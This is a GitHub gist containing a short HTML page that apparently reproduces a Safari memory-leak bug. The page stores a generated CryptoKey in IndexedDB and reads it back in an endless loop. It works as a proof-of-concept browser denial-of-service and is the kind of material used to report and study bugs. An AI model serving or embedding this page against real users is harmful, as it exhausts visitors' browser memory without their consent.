Skip to content

Instantly share code, notes, and snippets.

@saagarjha
Created February 12, 2023 16:44
Show Gist options
  • Save saagarjha/55a5921121c7fd9d435a12917a080059 to your computer and use it in GitHub Desktop.
Save saagarjha/55a5921121c7fd9d435a12917a080059 to your computer and use it in GitHub Desktop.
Leak memory in Safari from a website
<!DOCTYPE html>
<html>
<head>
<script>
var database;
async function foo() {
let key = await window.crypto.subtle.generateKey(
{
name: "HMAC",
hash: {name: "SHA-256"}
},
true,
["sign", "verify"]
);
console.log(key);
window.indexedDB.deleteDatabase("database");
let request = window.indexedDB.open("database", 1);
request.onupgradeneeded = (event) => {
let database = event.target.result;
console.log(database);
database.createObjectStore("store");
};
request.onsuccess = (event) => {
database = event.target.result;
console.log(database);
let transaction = database.transaction("store", "readwrite");
console.log(transaction);
let store = transaction.objectStore("store");
console.log(store);
console.log(store.add(key, "key"));
read(0);
};
}
function read(n) {
console.log(database);
let transaction = database.transaction("store", "readonly");
let store = transaction.objectStore("store");
store.getAll().onsuccess = (event) => {
console.log(n, event.target.result);
read(database, n + 1);
};
}
foo();
</script>
</head>
<body>
</body>
</html>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment